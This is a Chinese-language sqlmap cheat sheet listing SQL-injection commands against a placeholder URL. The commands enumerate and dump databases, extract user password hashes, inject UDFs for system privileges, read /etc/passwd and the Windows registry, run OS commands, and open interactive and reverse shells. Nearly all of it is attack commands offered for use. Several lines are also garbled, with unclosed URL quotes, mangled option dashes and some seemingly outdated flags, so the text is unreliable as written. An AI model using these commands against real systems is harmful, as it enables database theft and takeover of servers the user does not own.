1. 基礎用法:
一下./sqlmap.py 在kali和backtrack中使用sqlmap的時候,直接用:sqlmap
./sqlmap.py -u “注入地址” -v 1 –dbs // 列舉數據庫
./sqlmap.py -u “注入地址” -v 1 –current-db // 當前數據庫
./sqlmap.py -u “注入地址” -v 1 –users // 列數據庫用戶
./sqlmap.py -u “注入地址” -v 1 –current-user // 當前用戶
./sqlmap.py -u “注入地址” -v 1 –tables -D “數據庫” // 列舉數據庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “數據庫” // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “數據庫” // 獲取表中的數據,包含列
sqlmap -u “ –smart –dbms “Mysql” –users #列數據庫用戶
sqlmap -u “ –smart –dbms “Mysql” –dbs#列數據庫
sqlmap -u “ –smart –dbms “Mysql”–passwords #數據庫用戶密碼
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用戶數據庫密碼
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有數據庫所有表
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看權限
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用戶權限
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是數據庫管理員
sqlmap -u “ –smart –dbms “Mysql” –roles #枚舉數據庫用戶角色
sqlmap -u “ –smart –dbms “Mysql”–udf-inject #導入用戶自定義函數(獲取系統權限!)
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出當前庫所有表
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查詢表記錄
sqlmap -u “ –smart –dbms “Mysql” –union-test #union 語句測試
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “ –smart –dbms “Mysql”-b #獲取banner信息
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指紋判別數據庫類型
sqlmap -u “ –smart –dbms “Mysql”–sql-shell #執行指定sql命令
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #執行系統命令
sqlmap -u “ –smart –dbms “Mysql”–os-shell #系統交互shell
sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反彈shell
sqlmap -u “ –smart –dbms “Mysql”–reg-read #讀取win系統注冊表
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存進度
sqlmap -u “ –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢復已保存進度